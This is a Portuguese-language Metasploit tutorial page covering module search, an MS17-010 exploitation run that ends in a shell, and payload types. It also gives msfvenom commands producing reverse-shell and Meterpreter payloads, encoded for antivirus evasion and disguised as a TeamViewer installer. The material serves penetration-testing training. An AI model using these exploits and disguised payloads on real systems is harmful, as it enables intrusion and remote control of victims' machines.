> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/hacking-tools/exploitation/metasploit.md).

# Metasploit

Notas de metodologia do Metasploit Framework cobrindo msfconsole, busca de módulos, módulos auxiliares, módulos de exploit, payloads, encoders, msfvenom, Meterpreter, workspaces de banco de dados, sessões, enumeração de serviços

## Metasploit:

{% hint style="info" %}
Metasploit é uma plataforma de testes de invasão de código aberto amplamente utilizada por profissionais de segurança da informação para avaliar a vulnerabilidade de sistemas de TI. Ela fornece um conjunto de ferramentas e recursos para descobrir, explorar e proteger vulnerabilidades de segurança em redes, sistemas operacionais, aplicativos e outros componentes de TI. Em resumo, o Metasploit é um framework abrangente para realizar testes de invasão e auditorias de segurança.
{% endhint %}

Por padrão, todos os arquivos principais relacionados ao Metasploit Framework podem ser encontrados `/usr/share/metasploit-framework`

## Fluxo de trabalho do Metasploit

1. Identifique o serviço exposto, a versão, a plataforma e a vulnerabilidade provável antes de selecionar um módulo.
2. Pesquise módulos por serviço, CVE, plataforma, tipo, classificação e nome, depois revise as informações e referências do módulo.
3. Configure as opções do alvo, as opções do payload, os endereços do listener e a seleção do alvo com a menor configuração confiável.
4. Execute verificações quando disponíveis, execute apenas módulos confirmados e preserve a saída do módulo para elaboração de relatórios.
5. Gerencie sessões, áreas de trabalho, loot, credenciais, serviços e hosts por meio do banco de dados do Metasploit quando a avaliação crescer.

### **Módulos:**

Os módulos detalhados acima estão divididos em categorias distintas neste arquivo. Nós os detalharemos nas seções a seguir. Eles estão contidos nas seguintes pastas:<br>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77dfbf31283b2d3bfa49b50822638774550ebbd7%2Fimage%20(2425).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Plugins:**

Os plugins dão ao pentester mais flexibilidade ao usá-los `msfconsole`pois podem ser carregados facilmente manual ou automaticamente conforme necessário para fornecer funcionalidade adicional e automação durante nossa avaliação.

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edae3294cc47c3a2cc6d9a7b8a6da41a4f6862f7%2Fimage%20(2426).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Cenários:

Funcionalidades do Meterpreter e outros scripts úteis.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbfdb7ea26f6d2afe655265e269a724fb61af2a7%2Fimage%20(2427).png?alt=media" alt="" width="471"><figcaption></figcaption></figure>

### **Ferramentas:**

Utilitários de linha de comando que podem ser chamados diretamente do `msfconsole`menu

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-260718694bd64a3ecbbd9379daeeda1eb6238e06%2Fimage%20(2428).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## MSFconsole

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13df96f51b0e8b40b505c931948efb56fac8df30%2Fimage%20(2424).png?alt=media" alt=""><figcaption></figcaption></figure>

### Estrutura de engajamento do MSF

A estrutura de engajamento do MSF pode ser dividida em cinco categorias principais.

* Enumeração
* Preparação
* Exploração
* Escalada de privilégios
* Pós-exploração

{% hint style="info" %}
Essa divisão facilita encontrar e selecionar recursos adequados do MSF de uma forma mais estruturada e trabalhar com eles de acordo. Cada uma dessas categorias possui diferentes subcategorias destinadas a propósitos específicos. Isso inclui, por exemplo, validação de serviços e pesquisa de vulnerabilidades.
{% endhint %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-33d8ad54ed6afb63be4d2040b16135f6e955c0f0%2Fimage%20(2423).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Componentes**

### Pesquisar módulos:

#### Assim que estivermos no `msfconsole`, podemos selecionar de uma longa lista contendo todos os módulos do Metasploit disponíveis. Cada um deles é estruturado em pastas, que ficarão assim:

**Sintaxe:**

```bash
<Nº> <tipo>/<SO>/<serviço>/<nome>
```

**Exemplo**

```bash
794 exploit/windows/ftp/scriptftp_list
```

1. **Nº:**

O `Nº.`a tag será exibida para selecionarmos o exploit que queremos mais tarde durante nossas buscas. Veremos `Nº.`mais adiante como a tag pode ser útil para selecionar módulos específicos do Metasploit.

2. **Tipo:**

| Tipo:           | **Descrição**                                                                                                       |
| --------------- | ------------------------------------------------------------------------------------------------------------------- |
| `Auxiliar`      | Funcionalidades de varredura, fuzzing, detecção e administração. Fornece suporte e funcionalidade extra.            |
| `Codificadores` | Garantem que os payloads permaneçam intactos até chegarem ao destino.                                               |
| `Exploits`      | Módulos que exploram uma vulnerabilidade para entregar o payload.                                                   |
| `NOPs`          | (Código de operação nula) Mantém os tamanhos do payload consistentes entre as tentativas de exploração.             |
| `Payloads`      | O código é executado remotamente e faz callback para a máquina do invasor para estabelecer uma conexão ou um shell. |
| `Plugins`       | Scripts adicionais podem ser integrados a uma `msfconsole` avaliação e coexistir.                                   |
| `Pós`           | Ampla variedade de módulos para coletar informações, pivotar mais a fundo e tarefas relacionadas de pós-exploração. |

3. **SO:**

O `SO`a tag especifica o sistema operacional e a arquitetura para os quais o módulo foi criado. Naturalmente, sistemas operacionais diferentes exigem códigos diferentes para serem executados e alcançar os resultados desejados 4. **Serviço:**

O `Serviço` a tag se refere ao serviço vulnerável em execução na máquina-alvo. Para alguns módulos, como `auxiliar` ou `pós`, essa tag pode se referir a uma atividade mais geral como `coletar`, referindo-se à coleta de credenciais, por exemplo. 5. **Nome:**

Por fim, a `Nome`tag explica a ação real que pode ser executada usando este módulo criado para uma finalidade específica.

**MSF - Função de busca**

Por exemplo, podemos tentar encontrar o `EternalRomance`exploit para sistemas operacionais Windows mais antigos. Isso pode parecer assim:

`search eternalromance`

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-999feeb2ad3e48a6a3fd84fda41b92ed60c1dc92%2Fimage%20(2430).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Busca específica:**

Também podemos tornar nossa busca um pouco mais abrangente e restringi-la a uma única categoria de serviços. Por exemplo, para CVE, poderíamos especificar o ano (`cve:<ano>`), plataforma Windows (`platform:<os>`), o tipo de módulo que queremos encontrar (`type:<auxiliary/exploit/post>`), a classificação de confiabilidade (`rank:<rank>`), e o nome da busca (`<pattern>`). Isso reduziria nossos resultados àqueles que correspondem a tudo acima.

```bash
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2cc2559310b8d7bcfc5596da295b1773672e06e%2Fimage%20(2431).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Usando módulos:

Para selecionar nosso primeiro módulo, primeiro precisamos encontrar um. Vamos supor que temos um alvo executando uma versão do SMB vulnerável a exploits EternalRomance (MS17/\_010). Descobrimos que a porta 445 do servidor SMB está aberta ao escanear o alvo.

**Buscando MS17/\_010**

`search ms17_010`

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c27e5513ac68682cef267e1ab8f5c9d4d402820%2Fimage%20(2432).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**MSF - Selecionar um módulo**

Para usar um módulo no Metasploit, primeiro insira o `use` comando seguido do número do módulo desejado, depois use o comando `options` para ver os detalhes e as configurações disponíveis para esse módulo.

```bash
Módulos correspondentes
================

   #  Nome                                 Data de divulgação  Classificação  Verificação  Descrição
   -  ----                                  ---------------  ----    -----  -----------
   0  exploit/windows/smb/ms17_010_psexec   2017-03-14       normal        Sim        Execução remota de código no Windows via SMB MS17-010 EternalRomance/EternalSynergy/EternalChampion
   1  auxiliary/admin/smb/ms17_010_command  2017-03-14       normal        Não       Execução remota de comandos no Windows via SMB MS17-010 EternalRomance/EternalSynergy/EternalChampion

msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options

Opções do módulo (exploit/windows/smb/ms17_010_psexec):

   Nome                  Configuração Atual                    Obrigatório  Descrição
   ----                  ---------------                          --------  -----------
   DBGTRACE              false                                    sim       Mostrar informações extras de rastreamento de depuração
   LEAKATTEMPTS          99                                       sim       Quantas vezes tentar vazar a transação
   NAMEDPIPE                                                      não       Um pipe nomeado ao qual pode ser conectado (deixe em branco para automático)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wo  sim       Lista de pipes nomeados a verificar
                         rdlists/named_pipes.txt
   RHOSTS                                                         sim       O(s) host(s) de destino, veja https://github.com/rapid7/metasploit-framework
                                                                            /wiki/Using-Metasploit
   RPORT                 445                                      sim       A porta de destino (TCP)
   SERVICE_DESCRIPTION                                            não       Descrição do serviço a ser usada no alvo para uma listagem mais amigável
   SERVICE_DISPLAY_NAME                                           não       O nome de exibição do serviço
   SERVICE_NAME                                                   não       O nome do serviço
   SHARE                 ADMIN$                                   sim       O compartilhamento ao qual conectar, pode ser um compartilhamento de administrador (ADMIN$,C$,...) ou um
                                                                            compartilhamento de pasta normal de leitura/escrita
   SMBDomain             .                                        não       O domínio do Windows a ser usado para autenticação
   SMBPass                                                        não       A senha para o nome de usuário especificado
   SMBUser                                                        não       O nome de usuário para autenticação

Opções do payload (windows/meterpreter/reverse_tcp):

   Nome      Configuração Atual  Obrigatório  Descrição
   ----      ---------------  --------  -----------
   EXITFUNC  thread           sim       Técnica de saída (Aceito: '', seh, thread, process, none)
   LHOST                      sim       O endereço de escuta (uma interface pode ser especificada)
   LPORT     4444             sim       A porta de escuta

Alvo da exploração:

   ID  Nome
   --  ----
   0   Automático
```

**Informações do módulo**

Podemos usar o comando `info`depois de selecionar o módulo se quisermos saber mais sobre ele. Isso nos dará uma série de informações que podem ser importantes para nós.

```bash
msf6 exploit(windows/smb/ms17_010_psexec) > info

       Nome: Execução remota de código no SMB MS17-010 EternalRomance/EternalSynergy/EternalChampion
     Módulo: exploit/windows/smb/ms17_010_psexec
   Plataforma: Windows
       Arquitetura: x86, x64
 Privilegiado: Não
    Licença: Licença do Metasploit Framework (BSD)
       Classificação: Normal
  Divulgado: 2017-03-14

Fornecido por:
  sleepya
  zerosum0x0
  Shadow Brokers
  Equation Group

Alvos disponíveis:
  ID  Nome
  --  ----
  0   Automático
  1   PowerShell
  2   Upload nativo
  3   Upload MOF

Verificação suportada:
  Sim

Opções básicas:
  Nome                  Configuração Atual                    Obrigatório  Descrição
  ----                  ---------------                          --------  -----------
  DBGTRACE              false                                    sim       Mostrar informações extras de rastreamento de depuração
  LEAKATTEMPTS          99                                       sim       Quantas vezes tentar vazar a transação
  NAMEDPIPE                                                      não       Um pipe nomeado ao qual pode ser conectado (deixe em branco para automático)
  NAMED_PIPES           /usr/share/metasploit-framework/data/wo  sim       Lista de pipes nomeados a verificar
                        rdlists/named_pipes.txt
  RHOSTS                                                         sim       O(s) host(s) de destino, veja https://github.com/rapid7/metasploit-framework/
                                                                           wiki/Using-Metasploit
  RPORT                 445                                      sim       A porta de destino (TCP)
  SERVICE_DESCRIPTION                                            não       Descrição do serviço a ser usada no alvo para uma listagem mais amigável
  SERVICE_DISPLAY_NAME                                           não       O nome de exibição do serviço
  SERVICE_NAME                                                   não       O nome do serviço
  SHARE                 ADMIN$                                   sim       O compartilhamento ao qual conectar, pode ser um compartilhamento de administrador (ADMIN$,C$,...) ou um
                                                                           compartilhamento de pasta normal de leitura/escrita
  SMBDomain             .                                        não       O domínio do Windows a ser usado para autenticação
  SMBPass                                                        não       A senha para o nome de usuário especificado
  SMBUser                                                        não       O nome de usuário para autenticação

Informações do payload:
  Espaço: 3072

Descrição:
  Este módulo explorará SMB com vulnerabilidades em MS17-010 para
  obter uma primitiva write-what-where. Isso então será usado para
  sobrescrever as informações da sessão de conexão como uma sessão de
  Administrador. A partir daí, a execução normal do payload psexec
  é realizada. Explora uma confusão de tipo entre as solicitações Transaction e
  WriteAndX e uma condição de corrida nas solicitações Transaction, como
  visto nos exploits EternalRomance, EternalChampion e EternalSynergy.
  Essa cadeia de exploit é mais confiável do que o exploit EternalBlue,
  mas exige um pipe nomeado.

Referências:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://github.com/worawit/MS17-010
  https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
  https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/

Também conhecido como:
  ETERNALSYNERGY
  ETERNALROMANCE
  ETERNALCHAMPION
  ETERNALBLUE
```

**Especificação do alvo**

Assim que tivermos certeza de que o módulo selecionado é o correto para o nosso propósito, precisamos definir algumas especificações para personalizar o módulo e usá-lo com sucesso no host de destino, como configurar o alvo ( `RHOST`ou `RHOSTS`).

```bash
set RHOSTS 10.10.10.100
```

Além disso, existe a `setg` opção, que define as opções selecionadas por nós como permanentes até que o programa seja reiniciado.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2ed54a96a61ddba91c6c51c83d33d46ef03dad7%2Fimage%20(2434).png?alt=media" alt=""><figcaption></figcaption></figure>

**Executando exploits**

Assim que tudo estiver configurado e pronto, podemos prosseguir para lançar o ataque. Comando: `run`

```powerquery
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Iniciou o manipulador TCP reverso em 10.10.14.15:4444
[*] 10.10.10.40:445 - Usando auxiliary/scanner/smb/smb_ms17_010 como verificação
[+] 10.10.10.40:445       - O host provavelmente é VULNERÁVEL a MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445       - 1 de 1 hosts escaneados (100% concluído)
[*] 10.10.10.40:445 - Conectando ao alvo para exploração.
[+] 10.10.10.40:445 - Conexão estabelecida para exploração.
[+] 10.10.10.40:445 - SO de destino selecionado é válido para o SO indicado pela resposta SMB
[*] 10.10.10.40:445 - Despejo do buffer bruto do CORE (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - A arquitetura de destino selecionada é válida para a arquitetura indicada pela resposta DCE/RPC
[*] 10.10.10.40:445 - Tentando o exploit com 12 alocações de grooming.
[*] 10.10.10.40:445 - Enviando todos os fragmentos, exceto o último, do pacote de exploit
[*] 10.10.10.40:445 - Iniciando o grooming do pool não paginado
[+] 10.10.10.40:445 - Enviando buffers SMBv2
[+] 10.10.10.40:445 - Fechando a conexão SMBv1, criando um espaço livre adjacente ao buffer SMBv2.
[*] 10.10.10.40:445 - Enviando os buffers finais do SMBv2.
[*] 10.10.10.40:445 - Enviando o último fragmento do pacote de exploit!
[*] 10.10.10.40:445 - Recebendo resposta do pacote de exploit
[+] 10.10.10.40:445 - A sobrescrita do ETERNALBLUE foi concluída com sucesso (0xC000000D)!
[*] 10.10.10.40:445 - Enviando o egg para a conexão corrompida.
[*] 10.10.10.40:445 - Acionando a liberação do buffer corrompido.
[*] Sessão de shell de comando 1 aberta (10.10.14.15:4444 -> 10.10.10.40:49158) em 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter> shell

C:/Windows/system32>
```

## Alvos

### **Exibir alvos:**

O `show targets`comando emitido em uma visualização de módulo de exploit exibirá todos os alvos vulneráveis disponíveis para aquele exploit específico. Se você deixar a seleção em `Automático`o msfconsole saberá realizar uma descoberta de serviço no alvo fornecido antes de lançar um ataque bem-sucedido.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ca78baad8230f0f67ca3ccf72e1147854903b8a%2Fimage%20(2435).png?alt=media" alt=""><figcaption></figcaption></figure>

No entanto, se soubermos quais versões estão sendo executadas em nosso alvo, podemos usar o `set target <nº do índice>`comando para escolher um alvo da lista.

```shell-session
msf6 exploit(windows/browser/ie_execcommand_uaf) > set target 6

target => 6
```

### Payloads:

{% hint style="info" %}
Em `payload` No Metasploit, um módulo ajuda o módulo de exploit a retornar (geralmente) um `shell` ao invasor. Os payloads são enviados com o próprio exploit para contornar os procedimentos operacionais padrão do serviço vulnerável (trabalho do exploit), depois executados no sistema operacional de destino para normalmente retornar uma conexão reversa ao invasor e estabelecer a função do payload.
{% endhint %}

Existem três tipos diferentes de módulos de payload no framework Metasploit: Singles, Stagers e Stages.

1. **Payloads individuais** :

> Um payload simples contém todo o código necessário para o exploit e a execução em um único payload autônomo. Isso os torna mais estáveis, porque há apenas um elemento para executar. No entanto, eles podem ser limitados pelo tamanho, porque alguns ataques não suportam payloads muito grandes. Eles são ideais para ações imediatas, como adicionar um usuário ou iniciar um processo no alvo.

2. **Payloads Stagers:**

> Os payloads stager trabalham com os payloads stage dividindo a carga em múltiplas etapas. Um stager reside no sistema do invasor e inicia a conexão de rede com o alvo quando a stage é executada na máquina remota. Eles são projetados para serem pequenos e confiáveis, facilitando a criação de conexões. Os stagers do Windows também estão disponíveis nas versões "NX" (para compatibilidade com a proteção DEP) e "NO-NX", sendo NX mais volumoso, mas adequado para sistemas modernos.

3. **Payloads Stage**:

> Os payloads stage são componentes carregados pelos stagers para funcionalidade avançada e sem limitações de tamanho. Eles são usados para cargas complexas como Meterpreter ou injeção de VNC. Para minimizar erros, as stages usam stagers intermediários para garantir a estabilidade do upload. São particularmente adequadas para ataques em múltiplas etapas que exigem um fluxo de dados confiável e sustentado.

### Payloads em estágios:

**payloads em estágios**

Como usuários do Metasploit, encontraremos isso sob os nomes comuns `reverse_tcp`, `reverse_https`, e `bind_tcp`. Por exemplo, sob o comando `show payloads`você pode pesquisar payloads que se pareçam com o seguinte:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1e4d92b3c4090403c7eb20b12d40eedeef1ef56%2Fimage%20(2436).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Payloads Meterpreter:**

`Meterpreter` é um payload avançado que usa injeção de DLL para estabelecer uma conexão estável e persistente, inteiramente na memória, tornando-o difícil de detectar. Ele permite carregar dinamicamente scripts e plugins. Depois de iniciado, ele abre uma sessão oferecendo comandos específicos para controlar o sistema alvo: `captura de teclas, recuperação de senhas, escuta do microfone e muito mais.`

### Buscando payloads:

Para selecionar nosso primeiro payload, precisamos saber o que queremos fazer na máquina-alvo. Por exemplo, se estamos buscando persistência de acesso, provavelmente vamos querer selecionar um payload Meterpreter.

Ao navegar pela lista acima, encontramos a seção contendo `Payloads Meterpreter para Windows(x64)`.

<pre class="language-bash"><code class="lang-bash">   515  windows/x64/meterpreter/bind_ipv6_tcp                                manual  Não     Windows Meterpreter (injeção refletiva x64), Stager TCP Bind IPv6 do Windows x64
<strong>   516  windows/x64/meterpreter/bind_ipv6_tcp_uuid                           manual  Não     Windows Meterpreter (injeção refletiva x64), Stager TCP Bind IPv6 do Windows x64 com suporte a UUID
</strong>   517  windows/x64/meterpreter/bind_named_pipe                              manual  Não     Windows Meterpreter (injeção refletiva x64), Stager de Pipe Nomeado Bind do Windows x64
   518  windows/x64/meterpreter/bind_tcp                                     manual  Não     Windows Meterpreter (injeção refletiva x64), Stager TCP Bind do Windows x64
   519  windows/x64/meterpreter/bind_tcp_rc4                                 manual  Não     Windows Meterpreter (injeção refletiva x64), Stager TCP Bind (criptografia de estágio RC4, Metasm)
   520  windows/x64/meterpreter/bind_tcp_uuid                                manual  Não     Windows Meterpreter (injeção refletiva x64), Stager TCP Bind com suporte a UUID (Windows x64)
   521  windows/x64/meterpreter/reverse_http                                 manual  Não     Windows Meterpreter (injeção refletiva x64), Stager HTTP Reverso do Windows x64 (wininet)
   522  windows/x64/meterpreter/reverse_https                                manual  Não     Windows Meterpreter (injeção refletiva x64), Stager HTTPS Reverso do Windows x64 (wininet)
   523  windows/x64/meterpreter/reverse_named_pipe                           manual  Não     Windows Meterpreter (injeção refletiva x64), Stager de Pipe Nomeado Reverso (SMB) do Windows x64
   524  windows/x64/meterpreter/reverse_tcp                                  manual  Não     Windows Meterpreter (injeção refletiva x64), Stager TCP Reverso do Windows x64
   525  windows/x64/meterpreter/reverse_tcp_rc4                              manual  Não     Windows Meterpreter (injeção refletiva x64), Stager TCP Reverso (criptografia de estágio RC4, Metasm)
   526  windows/x64/meterpreter/reverse_tcp_uuid                             manual  Não     Windows Meterpreter (injeção refletiva x64), Stager TCP Reverso com suporte a UUID (Windows x64)
   527  windows/x64/meterpreter/reverse_winhttp                              manual  Não     Windows Meterpreter (injeção refletiva x64), Stager HTTP Reverso do Windows x64 (winhttp)
   528  windows/x64/meterpreter/reverse_winhttps                             manual  Não     Windows Meterpreter (injeção refletiva x64), Stager HTTPS Reverso do Windows x64 (winhttp)
   529  windows/x64/meterpreter_bind_named_pipe                              manual  Não     Shell Meterpreter do Windows x64, Bind de Pipe Nomeado Inline (x64)
   530  windows/x64/meterpreter_bind_tcp                                     manual  Não     Shell Meterpreter do Windows x64, Bind TCP Inline (x64)
   531  windows/x64/meterpreter_reverse_http                                 manual  Não     Shell Meterpreter do Windows x64, HTTP Reverso Inline (x64)
   532  windows/x64/meterpreter_reverse_https                                manual  Não     Shell Meterpreter do Windows x64, HTTPS Reverso Inline (x64)
   533  windows/x64/meterpreter_reverse_ipv6_tcp                             manual  Não     Shell Meterpreter do Windows x64, TCP Reverso Inline (IPv6) (x64)
   534  windows/x64/meterpreter_reverse_tcp                                  manual  Não     Shell Meterpreter do Windows x64, TCP Reverso Inline x64
</code></pre>

### **Buscando um payload específico:**

Também podemos usar `grep`para filtrar termos específicos. Isso aceleraria a busca e, portanto, nossa seleção.

```bash
grep meterpreter show payloads
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-191ade67bb9818f9ce38186d363e806d9cb579ec%2Fimage%20(2437).png?alt=media" alt=""><figcaption></figcaption></figure>

Agora podemos adicionar outro `grep`comando após o primeiro e pesquisar por `reverse_tcp`.

```bash
grep meterpreter grep reverse_tcp show payloads
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48f373e96aabdc1a62b4409a6057a93f0c08b631%2Fimage%20(2438).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Selecionar payload:**

Usamos `set payload <nº>`somente depois de selecionar um módulo Exploit primeiro.

```bash
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15

payload => windows/x64/meterpreter/reverse_tcp
```

### Usando payloads:

Para a parte do Exploit, precisaremos definir os seguintes elementos:

| **Parâmetro** | **Descrição**                                 |
| ------------- | --------------------------------------------- |
| `RHOSTS`      | O endereço IP do host remoto, a máquina-alvo. |
| `RPORT`       | A porta do host remoto.                       |

Para a parte do payload, precisaremos definir os seguintes elementos:

| **Parâmetro** | **Descrição**                                                                    |
| ------------- | -------------------------------------------------------------------------------- |
| `LHOST`       | O endereço IP do host, a máquina do invasor.                                     |
| `LPORT`       | Normalmente não precisa de modificação; verifique se a porta já não está em uso. |

### Tipos de payload:

| **Payload**                       | **Descrição**                                                                              |
| --------------------------------- | ------------------------------------------------------------------------------------------ |
| `genérico/personalizado`          | Listener genérico multiuso                                                                 |
| `generic/shell_bind_tcp`          | Listener genérico multiuso, shell normal, conexão TCP bind                                 |
| `generic/shell_reverse_tcp`       | Listener genérico multiuso, shell normal, conexão TCP reversa                              |
| `windows/x64/exec`                | Executa um comando arbitrário (Windows x64)                                                |
| `windows/x64/loadlibrary`         | Carrega um caminho de biblioteca x64 arbitrário                                            |
| `windows/x64/messagebox`          | Gera uma caixa de diálogo por meio do MessageBox com título, texto e ícone personalizáveis |
| `windows/x64/shell_reverse_tcp`   | Shell normal, payload único, conexão TCP reversa                                           |
| `windows/x64/shell/reverse_tcp`   | Shell normal, stager mais stage, conexão TCP reversa                                       |
| `windows/x64/shell/bind_ipv6_tcp` | Shell normal, stager mais stage, stager TCP de ligação IPv6                                |
| `windows/x64/meterpreter/$`       | Payload Meterpreter mais as variantes acima                                                |
| `windows/x64/powershell/$`        | Sessões interativas do PowerShell mais as variantes acima                                  |
| `windows/x64/vncinject/$`         | Servidor VNC (injeção reflexiva) mais as variantes acima                                   |

## Codificadores

{% hint style="info" %}
Ao longo dos 15 anos de existência do framework Metasploit, `Codificadores`temos ajudado a tornar os payloads compatíveis com diferentes arquiteturas de processadores, ao mesmo tempo em que contribuímos para a evasão de antivírus. `Codificadores`entra em cena com a função de modificar o payload para ser executado em diferentes sistemas operacionais e arquiteturas. Essas arquiteturas incluem:
{% endhint %}

| `x64` | `x86` | `sparc` | `ppc` | `mips` |
| ----- | ----- | ------- | ----- | ------ |

### Selecionando um codificador:

> Se quiséssemos criar nosso payload personalizado, poderíamos fazer isso por meio do `msfpayload`, mas teríamos que codificá-lo com base na arquitetura do sistema operacional de destino usando `msfencode`depois. Um canal pegaria a saída de um comando e a enviaria para o próximo, o que geraria um payload codificado, pronto para ser enviado e executado na máquina-alvo.

{% code overflow="wrap" %}

```sh
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '/x00' -f perl -e x86/shikata_ga_nai
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac18cc3eac15e831205de57b0085ece7314c9320%2F%7BD3279ABA-2960-43A3-86BE-4ECBA9376109%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Gerando payload - Sem codificação:**

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl
```

{% endcode %}

Agora devemos observar a primeira linha do `$buf`e ver como ela muda ao aplicar um codificador como `shikata_ga_nai`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-634afd7fd599c6ee93aea2f65f8be06d24cf9907%2F%7B8E9B03CA-46C2-4B43-AA36-FC9B9CCC7281%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Gerando payload - Com codificação:**

```bash
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "/x00" -f perl -e x86/shikata_ga_nai
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8f80ba699d93e31e9a027fa806255f4cff67174%2F%7B6963439A-3BE4-4CA9-AFBF-9F1D68EF5AE4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Codificação Shikata Ga Nai:**

> Vamos pegar o exemplo acima como está, um exemplo hipotético. Se codificássemos um payload executável apenas uma vez com SGN, ele provavelmente seria detectado pela maioria dos antivírus atuais. Vamos analisar isso por um momento. Tomando `msfvenom`, o índice do framework que trata da geração de payloads e esquemas de codificação, temos a seguinte entrada:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
```

{% endcode %}

